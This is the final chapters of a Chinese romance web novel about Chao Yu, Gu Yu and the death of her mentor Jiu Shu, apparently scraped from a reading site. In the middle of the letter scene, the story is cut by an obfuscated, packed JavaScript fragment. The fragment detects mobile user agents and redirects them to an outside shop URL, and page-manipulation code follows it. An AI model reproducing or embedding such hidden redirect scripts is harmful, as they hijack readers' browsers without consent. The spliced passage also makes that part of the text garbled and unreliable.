她仰头吻了吻辜屿的喉结,说:“你可以在这张床上,做一切你想做的事。” 然后探手去摸索他耳后。 那一道过敏似的红疹,已浮了起来。 她这句话已是最好的催化。他哪里敢想在这张床上对她做什么呢?他没什么清规戒律,唯独这件事对他而言,真像破戒。 当这件事真的发生,连他自己都不能控制自己。 当她眼神迷蒙地叫他:“小屿……” 他的进攻有一瞬顿滞。 记得小时候听毛慕清叫他哥:“小屹。” 这两个字的发音其实有点像。他也有过一瞬恍惚,觉得毛慕清好像是在叫他:“小屿。” 那时候毛慕清的声音,年轻而温柔,就像此时的晁雨。 他探索到晁雨的最深处:“再叫我。” 他在失控边缘也同样叫他:“小雨……” 温雨浸润孤屿,一样的发音,迥异的涵义。也许名字真是神奇的咒,就这样圈定了人一生的命格。 - 过完年,许辰懿带着两个妹妹告别,辜屿和晁二柱也前后离开。 闹哄哄的老宅子里只剩下晁雨陪着父母,又一次寂寥下来。 葛洁的语气带些抱怨:“你找个那么忙的,又不能陪着你,两个人都不在一处过日子,将来怎么办啦?” 晁雨坐在小板凳上陪葛洁择菜:“我干嘛要他陪着我?我也忙呀。” 她从前会想得很远,恨不得什么都思虑周全。 现在却觉得,都是自己给自己上的枷锁。只要她和辜屿都有信心,未来是一步步走出来的。 晁雨是真的很忙,劝宁塔激发了她对古建筑修缮的兴趣。 许辰懿同她打电话时说:“你不如自己成立一间工作室。” “有过这样的想法。”晁雨道:“仔细想想还是算了。如果我真辞职了,九叔多寂寞啊。” 却也有了络绎不绝的人,请晁雨去探讨当地古建筑的修复,邀请函走对公渠道,无比正式地发到洵州市古建筑保护管理局来。 九叔催她:“快去快去,让我一个人在办公室里清静几天。” 晁雨问:“你真不想出山?” “我出什么山。”九叔嗤道。 冬去春来,晁雨已走过了不少地方。 当炽烈的阳光开始烫着小臂,又一个夏天降临,辜屿的生日便要到了。 葛洁对晁雨和辜屿的事,还是那副不看好的态度,却板着脸主动走过来问晁雨:“他今年过生日不啦?回洵州不啦?” 晁雨点头:“要回。” 葛洁又板着脸问:“那你问问他,想吃些什么啦?” 晁雨忍不住偷笑。 辜屿在生日这天回到了洵州,带着一只从上海订的动物奶油蛋糕。 精致的纸盒打开来,是那年葛洁生日、晁雨躲在一个生锈电话亭里描述的那样:轻盈又柔软,托在舌尖一抿,像一朵轻柔的云。 辜屿真像他自己所说的那样,是个没有愿望的人。就算肯过生日了,他的生日也是替她人实现愿望。 一同吃了饭,他和晁雨回房。晁雨笑笑把一副耳机递他:“生日快乐。” 是辜屿提过的一副绝版耳机。价格不贵,却很难买。 辜屿:“谢谢。” 晁雨坐在床畔晃着腿,看他从包里掏出一个盒子,走回床边。 那个牛皮色纸盒没有任何标志,晁雨问:“是什么?” “礼物。”辜屿打开盒盖,里面是一双荼白色的高跟鞋。 “你的生日,你送我礼物?” 辜屿单膝跪着,去捉晁雨细瘦的脚腕。 带着她的脚踏进那只高跟鞋。 那高跟鞋初看没什么特别,只觉得设计简约、线条流畅。要等晁雨真正把脚放进去,才发现如踩在云端。 她不擅穿高跟鞋,所有的高跟鞋在她穿来都磨脚,脚后跟总被磨出深深的痕,再穿久一点就会磨破出血。 可这双鞋柔软得不像话,贴脚得不像话。 这双鞋是辜屿在国外定制,又寄到上海完成最后工序。 这一鞋楦从此会珍藏在意大利圣十字教堂后面的顶奢手工鞋店里,鞋楦命名为“YU”,从今以后,晁雨都可以穿这样不磨脚的高跟鞋。 辜屿半跪在床边:“我说过我没有愿望,所以生日愿望也让给你。” 祝你穿最适脚的鞋,自由自在走你的路。 去见想见的人,做想做的梦。 - 晁雨顶着盛夏的阳光去了趟山西,出席研讨会时,一身米白小西装,便配上了辜屿送她的这双高跟鞋。 为期一周的行程结束,晁雨下高铁的时候,一手拖着行李箱,另一手捏着手机给九叔打电话。 老头儿脾气真怪,每次晁雨一去外地,他就开始玩失联那一套。 高铁与站台的落差让晁雨一个没站稳,手机脱手掉了下去。 晁雨差点没吓坏:这要是掉进铁轨可怎么办? 好险好险,是掉在了站台上。 晁雨赶紧捡起来一看,屏幕全黑,又没动静了。 不过老人机就是这样,说不定过一会儿又回光返照。 晁雨便拖着行李箱去了办公室,奇怪的是,盛夏午后的阳光照出浮尘,一片乱舞的鸡鸭鹅毛和棉絮间,办公室的门竟然锁着。 晁雨去旁边的活禽店问了嘴:“大婶,九叔是不是翘班下棋去啦?” 大婶拔着鹅毛:“我不知道啊!” 晁雨便自己掏钥匙开门进去,打算先把这几天落下的工作做完。 这时办公室摇摇欲坠的木门嘎吱一声响。 晁雨抬头:“九叔你回来……” 句子没说完,便看见办公室门口逆光站着葛洁。 晁雨心里生出一种很古怪的感觉,因为盛夏阳光炽烈,葛洁逆光站着,变成一个模糊全黑的剪影,好像连面容都笼进一片阴影里。 晁雨莫名站了起来,尽管她也不知道自己为什么要站起来。 “妈?”她扶着办公桌叫了声。 葛洁走进来,到这时面容才总算可看清了。她问晁雨:“你手机怎么打不通?” “摔了一下,不知是不是坏了。妈你怎么……” 没等她说完,葛洁反复捏着自己手指:“你跟我来。” 两人打了辆车,阳光透过窗玻璃刺着人的双眸。 葛洁微微眯着眼,一句话都不说。 一直到下车,晁雨才发现葛洁带她来了九叔家。 晁雨心里那种古怪的感觉更浓了,她看葛洁一眼,葛洁还是什么都不说。她走进去,看见一尘不染的屋子里面空荡荡的。 那窄窄的铁架子床、那脸盆架,都还在。但九叔不在。 床头柜上一串钥匙、压着一个信封。钥匙上挂着的小小木塔,正是晁雨手工做了送给九叔、九叔一脸嫌弃的那个。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252697|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 信封上写着:[晁雨收]。 葛洁站在门外给辜屿打电话:“你有空马上回洵州么?” 晁雨打开信封。 一个天天玩扫雷的老头儿,字迹却格外遒劲有力,颇有当年古建筑大师的风采。 [小雨吾徒:] 晁雨只看第一行,眼泪一下子落了下来。 她甚至没发现自己哭了,只发现一滴泪痕,打在那格外复古、印着红横线的信纸上。她慌忙把信纸拿远些,怕再蹭上眼泪,就那么远远地举着看。 九叔那封信写的很简单: [知吾命不久矣,所余无多,尽数留与吾徒。其余所得资产,已妥善处理,交由劝宁塔修缮项目。死后无需立碑,吾徒知我懂我,必晓吾名该铭于何处,终至圆满。 至此,祝境鹤。] 那是晁雨第一次看九叔写自己的名字。笔锋遒健挥洒,真像一只野鹤闲云间。 晁雨吸吸鼻子,走出屋外,葛洁站在一片阳光下。 晁雨问:“九叔呢?” “天热,已经先运去殡仪馆了。你爸和其他帮忙的邻居都在那。” “谁发现九叔的?” “毛奶奶。毛奶奶还是有捡些东西的习惯,只有她会往这边走。到了九叔上班时间,她看见窗帘还拉着,觉得不对劲。” 葛洁看着晁雨的脸色:“九叔是在睡梦中走的,很安详。你知道以他的年纪,这其实是种幸运……” 晁雨点点头,鼻子还堵着:“嗯。” 辜屿立刻赶回了洵州。 除了看见[小雨吾徒]四个字时,眼泪陡然而出,其余时间晁雨再没哭过。鼻子堵堵的,喉咙堵堵的,连带着泪腺仿佛也堵住了。 九叔的葬礼上,老头儿一张照片也没留下,他留给晁雨的,是满满一衣柜绝版的建筑古籍、和自己毕生研究所得手稿。 晁雨从手稿里挑了一张,拿相框镶了,像九叔的女儿或孙女一样捧在胸前。 九叔终不至于孤独终老。 洵州老城是个小地方,街里街坊无论熟与不熟,乌泱泱全来送别。当然,还有那些跟九叔跳着脚互骂的棋友老头儿。 晁雨代表家属答礼,葛洁和辜屿陪着她。 直到葬礼结束,晁雨坐在九叔家门口空荡荡的小院里,一树梧桐映在她头顶。 辜屿站在她面前,看她还是没有哭,从口袋里把老人机掏出来,握在手里,在那灰色的外壳上反复摩挲着。 辜屿问:“拿着手机做什么?” 晁雨勾起唇角笑笑:“你说,要是我没把手机摔那一下、手机没坏的话,九叔会不会就还没走?” 辜屿:“你知道不是这样。” 晁雨的唇角又往上勾:“我知道。” 辜屿伸手去拿她手里的手机:“摔坏了,我带你去买新的。” 晁雨却攥着那手机不撒手:“不换。” 松手的是辜屿:“好,那就不换。” 他去牵晁雨的手:“走。” 打车时晁雨被阳光晃得眯着眼,竟生出一种半梦半醒的感觉,看着车窗外的街道熟悉又陌生,一会儿觉得自己在北京,一会儿觉得不对头,这更像她出差去过的非一线小城。 直到车窗里映出耸立的劝宁塔,她才确信:哦,她是在洵州。 辜屿跟她说:“困了就睡会儿。” 她摇摇头,真要睡,却又睡不着。 直到出租车停下,她才发现辜屿带她来了手机城。 大概只有洵州老城区还有这样的手机城,不是一栋楼,而是和老旧菜市场一般的一片窝棚,每个小店外支着小摊,摆满二手的笔记本电脑和手机,顶头撑一张红白相间的塑料布,用来挡太阳。 辜屿蒙上口罩,带晁雨进去。 他一家一家带着她问过去:“这手机能修么?” 晁雨跟在辜屿身后。 其实她很想问:你相信这手机能修好么? 就像,你相信在海滩上能把手链找回来么?你相信能把唐爷爷的猫找回来么? 但她紧紧抿着唇,什么都没说。 辜屿问过每一家店,有些说不能修,有些嫌麻烦,多给钱也不肯。 直至整座手机城被他翻了一遍,最犄角旮旯的小摊上,一个看上去上了年纪的老板说:“试试吧。明天我这店就不干了,说不定,是我的最后一单生意了。” 辜屿搬来一张凳子,让晁雨坐在一旁。 晁雨也不知等了多久,两个小时,还是三个小时。她始终抿着唇不说一句话,听着耳畔聒噪的蝉鸣,望着午后的光线变为薄暮。 直到老板走出来,把手机递到她手里:“试试看。” 晁雨低头摁下开机,手机先在掌心里一震,接着便是“咯咯哒”一声。 那是有信息进来的提示音。 晁雨垂眸去看—— 那是九叔去世的清晨,发给她的一条信息。不知这老人机是否到底年久了,信息进来的当下并没提示。 以至于晁雨现在才看到九叔发来的: [徒弟,这段时间有你陪着我,挺开心的。] 晁雨终于禁不住放声大哭,惊得手机城四下的人群都看过来。 辜屿把她的头护进怀里,轻拍着她的后背:“我知道,我知道。” 真奇怪。 他是被亲生母亲视为“怪物”的人。 他是媒体口中斩杀于无形的“妖刀”。 甚至他自己,一度也深刻怀疑着自己是否没有任何共情能力。 可此时他抚着晁雨的背,晁雨那些无法言传的、只能借一只旧手机发泄的悲伤与欣慰,他竟真的都知道。 84. 后来13(全文完) 很难说盛夏是被一阵染绿意的风吹浓的,又或是被一阵啁啾作响的鸟鸣唱浓的。 梧桐的浓荫又繁茂了几分,阳光透下来,晃晃悠悠洒落在青石板路上。 一年过去、又一个夏天来临时,晁雨能平静接受九叔已离开这件事了。 许辰懿仍在北京忙得风风火火,开车去见客户的间隙给晁雨打电话:“晁总,近来生意可好?” 晁雨:“你别打趣我。” 原来九叔真正富有。 他从不享受以前赚来的钱,总穿着被虫蛀出洞的老头乐背心,为五块钱的棋局输赢跳脚大骂。可他把自己毕生的积蓄,分毫不差地捐献给劝宁塔的修缮工程。 只是另外留了一小笔给晁雨,做她个人工作室的启动资金。 晁雨的工作室专挑一些她感兴趣的古建筑项目接洽,和九叔早年一双布鞋踏过的地方一样,大多在荒山野岭,朽木断壁,没人跟她争项目,她却知做好了大有前途。 不出差的日子她窝在工作室画图,晚上回家跟爸妈吃饭,睡在自己从小长大的老宅房间里。 偶尔辜屿回洵州看她,偶尔她去北京看辜屿,也能和许辰懿聚聚。 大夏天的她不知怎的突发奇想,突然想吃冰糖葫芦。辜屿陪她在后海边绕了两圈,冬日里那些卖糖葫芦和山楂雪球的店,一概没开。 辜屿问:“一定要吃?” 晁雨点头。 辜屿自诩毅力过人,这天下午和晁雨走到双脚发肿,不得已掏出手机给丁鷇音打电话:“有兴趣投资个新产业么?” “什么?”丁鷇音很相信辜屿这过人的脑子。 “大夏天卖冰糖葫芦。” 丁鷇音:??? 一年过去,劝宁塔修缮项目接近完工。 竣工仪式定在这年的八月末,夏天的尾巴上。 葛洁表面上不赞同女儿这么苦、天天往荒山野岭里钻。真到了晁雨出成绩的时候,她又比谁都兴奋:“给你弟打电话让他回来!还有辰辰,辰辰来不来啦?” 晁雨打趣:“你喜欢辰辰,可比喜欢你亲女儿还多了啊。” 许辰懿一听就乐不可支:“咱妈邀请我,我肯定来啊!我两个妹妹正好放暑假呢,我带她们一起过来。” 许辰懿来洵州的时候,又是大包小包。 葛洁惊了:“又买这么多东西?” 许辰懿永远是那句:“不多,不多。” 她从小缺失了给予的机会,掏起来就没完没了。 同样有这毛病的还有辜屿,赚钱太多,又没什么花钱欲望,买起东西来没完没了。 他回洵州来参见竣工仪式,可也没少买。 其中最“出类拔萃”的,是一个腰椎按摩仪,据说有外星陨石成分,要价三万九千八。 葛洁一看这价格差点没吓死,私下跟晁雨讲:“不是说智商奇高啦?我一个老阿姨都不相信这些,他哪能相信啦。” 又说:“钱么总归是要省着点花的,不然以后怎么过日子啦?” 晁雨啃着苹果:“妈你知不知道他去年年收入多少?” 葛洁瞪她一眼。 晁雨去挽葛洁的胳膊:“他要买你就让他买咯,你不是喜欢热闹?家里堆得满满当当才好。” 晁雨其实知道,对许辰懿和辜屿这样的人来说,能够给予,是一种从前不可得的满足。 竣工仪式定在上午十点。到了这天,晁雨却一大早就被葛洁拽起来了。 葛洁拖着她往菜市场走:“人人都来替你庆贺,就连马超那小子,都刚好攒出假期从部队回来。我们要做桌好菜招待,才不失礼数的呀。” 晁二柱还没回来,晁雨只得自己去当劳动力。 他工作依然很拼,要压着竣工仪式的最后一刻赶回洵州。作为律所同期里最早转正和升职的,所有前辈懒得纠缠的案子,他抢着去处理。 他好像处处都在抢时间,拼了命要追上什么人的步调。 母女俩挽着手,走在清晨的菜市场。 洵州老城纵然有再多落后,菜市场总归令人艳羡。周边农户运来自家种的蔬菜,连萝卜苗都是绿油油的水灵,拿饮料瓶做成的水壶一喷,简直泛起光来。 还有卖新鲜家禽的,糕团的,酱鸭梅鱼的,自家酿的老黄酒酒缸一掀,香气直往人鼻子里钻。 这里的老板,葛洁个个都认识,晁雨跟着她一路走,手里就抓了两个包子、三个糕团、还有一把花生。 葛洁回到家忙了阵。过了九点半,便张罗着所有人出发去竣工仪式现场。 一看晁雨就叫嚷起来:“你怎么就穿着T恤布裤子啦?妆都不化的哦?” 说话间又瞥一眼辜屿。 相反今天辜屿打扮得郑重些,穿一件燕颔蓝衬衫,颜色极暗,在阳光下又不同于纯粹的黑,衬得他肤色如玉。 葛洁斜眼瞟着,觉得自家女儿这眼光,到底还是不错。 洵州对劝宁塔的修缮项目很重视,领导齐齐整整来了一排,虽然不动土,却也找了把系着红绸的铁锹。 来的人比晁雨想象得多不少,许辰懿左看看、右看看,压低声对晁雨说:“我都没想到洵州老城还住着这么多人。” 一个中年妇人抱着自家小孙女,晃着她肉肉的小手指着劝宁塔:“看,你妈妈小时候就常常上去玩,等你长大一点,又可以上塔去了。” 关于劝宁塔的修缮项目,肩负着带动旅游的重大意义,领导们依次发言,说得慷慨激昂。 晁雨穿着最朴素的白T恤和卡其色棉布裤,掩没在人群中,像任何一个来围观动工仪式的普通人。 许辰懿觉得不对头了:“诶,没你发言的环节啊?” 晁雨摇摇头:“没有。” 她特意谢绝了。 不知为什么,在各种论坛上她能侃侃而谈,到了洵州反而什么都说不出来了。 又或者,她觉得什么都不必说。 她能看到平日老街里晒着太阳、望着劝宁塔的老人们,今天来了不少,有的坐着轮椅,有的拄着拐,颤巍巍的。 下一位领导致辞,详细讲了修缮方案的细节,因涉及到专业术语,加上仪式颇有些冗长,围观群众渐渐有些走神。 还有些不耐烦的老阿姨,扬声在跟朋友说:“我得回家做饭去哩!” 晁雨却听得很认真。 她知道[祝境鹤]的名字,将被镌刻在老木料上,嵌进精妙的榫卯结构。从今以后他将与劝宁塔相依相伴,看着每一个登上劝宁塔的人。 大半生流离的人,终于把洵州当成了他的家乡。 辜屿低调的蒙着黑色口罩,挤在人群中、站在晁雨身后,趁葛洁眺望劝宁塔的时候,悄悄握住了晁雨的指尖。 晁雨紧紧回握他的手。 她很确定,这一刻他们都想起了九叔。很奇怪的,到这时晁雨又不想哭了,也许就像九叔的信里所写,对九叔这样的人来说,这的确是一种圆满。 仪式结束,人们纷纷赶回家准备午饭。 葛洁这边倒是简单,做了好些浇头面,把团圆的大餐留到晚上。 对辜屿而言,又一个夏天回到洵州,他是有变化的。 往年不管什么时候吃饭,他多有工作牵扯,往往是最后一个到的。 今年却来得很早,他自己会做饭,葛洁的备菜他能搭上手。只不过参与家庭活动这种事,对他来说着实陌生。 他站在一旁,不知如何融入进去。 先开口的反倒是葛洁,指着天井里吃枣的晁雨跟辜屿说:“你倒是管管,你看她现在懒得这样子。” 盛夏的阳光晃在晁雨乌色的长发上,辜屿没来由的心头一轻,好像有什么压了多年的东西,被削去了大半。 于是他格外罕见的挑了挑唇角,惹来葛洁都多看了他一眼。 他说:“可能管不了。” 晁雨接话:“他哪儿管得了我,我是姐姐他是弟弟,这不没大没小了嘛。” 葛洁佯作瞪她:“那你自己倒是灵醒些!” 晁雨正埋头擦一颗枣子,本以为坏了,擦了擦又发现只是磕破了皮,遂丢进嘴里:“我不,我平时都在山里钻,累死了。” 一下午忙忙叨叨,到了傍晚,等没来得及参加竣工仪式的马超赶到,便可以开饭了。 晁雨闲来无事,趁着傍晚暑气散了些,拖着辜屿的手,悄悄溜出门买桂花豆酿吃。 因为是自家桂花元宵的竞品,葛洁从不让她吃这个。 卖桂花豆酿的往往是骑辆自行车走街串巷,晁雨拖着辜屿满大街去找。 直到远远望见那辆嘎吱作响的自行车,晁雨兴奋地举手往那边跑:“诶等等——” 辜屿拉她一把:“小心。” 一个男人在盛夏时节,穿不入时的厚夹克,眼镜片堪比瓶底后,一边镜腿还是用透明胶缠起来的。走路时双手插兜埋着头,险些没撞上晁雨。 晁雨先道歉:“对不起……” 那人抬起头。明明人到中年,眼神却仍带某种年轻的澄澈。 他不理会晁雨的道歉,扶了扶胶带黏住的眼镜腿:“我开始怀疑,在这个世界上,还有什么东西是不会过期的?” 晁雨:…… 什么乱七八糟的? 男人已埋头往前走去。晁雨嘟囔一句:“怎么奇奇怪怪的……” 却猛然止住话头。 一把扯住辜屿:“那人刚说的是不是《重庆森林》里的台词?他会不会就是我们从没见过的放映师傅?” 辜屿提醒她:“卖桂花豆酿的走远了。” “噢对!”晁雨又跳起来去追那辆自行车。 买到了也不敢回家当着葛洁吃,拉着辜屿站在街尾关掉的小卖部门口,一勺一勺舀着吃。 晁雨用来施“剪刀大法”的碗和剪刀还藏在屋檐边。她跟清扫这条街的阿姨打过招呼,不收走她的这些,她每天来换一碗干净的水。 猫走丢了一年多,她也不知自己在执拗什么。 晁雨吃着吃着,身后的灌木丛内,传来窸窣细响。 她回过头去,顿时被喉管里的豆酿呛出一声咳——灌木丛里钻出来的,赫然是唐爷爷那只猫。 晁雨赶紧跑回家,找了葛洁以前养兔子的笼子,哄骗猫进去。 连带着葛洁都跟着欣慰起来:“这下好,送去上海跟唐爷爷作伴,他不知多开心。” 等马超到了,其他男孩们也闹哄哄聚在天井里,这顿家宴便可以正式开席了。 葛洁是个爱热闹的,笑得格外开 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只是一阵风起,晁雨忙着吃红烧肉,他伸手把晁雨唇边的发往耳后勾了勾。 马超的表情,显示他先陷入了一种大脑当机的、更深切的迷茫,接着才是瞳孔地震。 “不会吧——?!” 辜屿声音淡着,对马超道:“把那位表哥的照片给我也看一眼。” “不不不。”马超连连摆手:“我仔细想了想,跟雨姐那是一点也不搭,不用看不用看。” 一顿丰盛的团圆宴,伴着盛夏月光下酒,人人吃得饕足。 白蟹豆腐煲鲜得发甜,鸭扑芋艿头炖到绵软适口,配上自家酿的桂花酒,应和着天井里那棵开始分芽的百年老桂树。 晁雨悄悄跟辜屿咬耳朵:“我爸说我出生那年,他在这棵树下埋了坛桂花酒。等什么时候你喝上这酒了,他就算真正认可你了。” 也许精神太过放松,许辰懿这么一个海量的人,竟也明显见了醉意。 拍着自己大妹妹的肩,大着舌头:“跟小雨姐姐说,你大学学的什么专业?” 妹妹些微红着脸:“建筑设计。” “啊?”晁雨有些惊异:“你之前怎么一点也不跟我讲?” 许辰懿的妹妹是这样的性格,事情没成之前,都一个人默默藏起来。 辜屿吃得不多,自酿的桂花酒倒是喝得多些。晁雨见他半垂着眼,不知是否有些醉了。 在桌下撞撞他的膝盖:“笑一个。” “?”辜屿看向她。 在辜屿看来,晁雨反而有些醉了。她一手支在桌上撑着自己的头,白皙的面庞上浮着淡淡红晕,桂花的花芽三三两两、飘落在她肩头,衬得她垂下的乌发格外柔软。 她眼底水朦朦的映着月色,用筷头戳戳自己颊边的酒窝:“笑一个。” 又轻捏了捏辜屿放在膝头的手:“你知不知道你笑起来,其实挺好看的。” 便是在这时许辰懿张罗着:“我们来拍张合照吧!” 下一句本来要脱口而出的是:下一次人这么齐不知是什么时候了。 想一想又把这话咽了回去。 月色正好,群星闪耀,小城里静得几乎能听见潺潺溪流的声音,让人觉得一切都不会改变,会这样好上许久许久。 “来来来。”晁二柱不跟许辰懿说话,却帮她张罗着拍照的人。 这一次拍照的人,比上次在云泉高中还要多不少。 除了年轻人们,还有葛洁、晁正声、毛秀珍,外加许辰懿的两个妹妹。 男孩们抬来一张案几,许辰懿把手机架上去,确认能把所有人框进镜头。 扬起音调问晁雨:“用上次那个滤镜怎么样?‘最好的时光’,那个滤镜好看。” 晁雨想了想:“不要了吧。” “也行。”许辰懿同意:“那就不用滤镜了,自然点。” 她设置好定时拍照,跑回两个妹妹身边。 辜屿从前是最抵触拍照的,这次却没有推拒。他站在男孩的最边上,刚好在晁雨的左侧身后,当镜头快门开始倒数的时候,他轻轻把瘦长的手指搭在了晁雨肩上。 “西瓜甜不甜——”许辰懿妩媚笑着喊。 “甜!”所有人喊着回应她,包括特意跑回去涂了芭比粉口红的毛秀珍。 唯有辜屿,静静地没出声。 “咔嚓”一声,许辰懿跑过去拿起手机看效果,招手叫晁雨:“快来。” “怎么?”晁雨跑过去:“我闭眼了啊?” 许辰懿把手机递到晁雨面前。 晁雨垂眸去看,原来是辜屿笑了。 一手搭着她的肩,笑颜极淡的映着月光,可那的确是一个笑。 晁雨不想用“最好的时光”做滤镜,是因为内心有种确信。 她很确信这张照片冲印出来,会在时光中渐渐泛黄、陈旧,渐渐有了滤镜所模拟的那份效果。 直到那时,照片里所有的这些人,还会聚在一起,喝一杯这棵老桂树酿出的桂花酒。 所有这些日子,便是最好的时光。 ——全文完——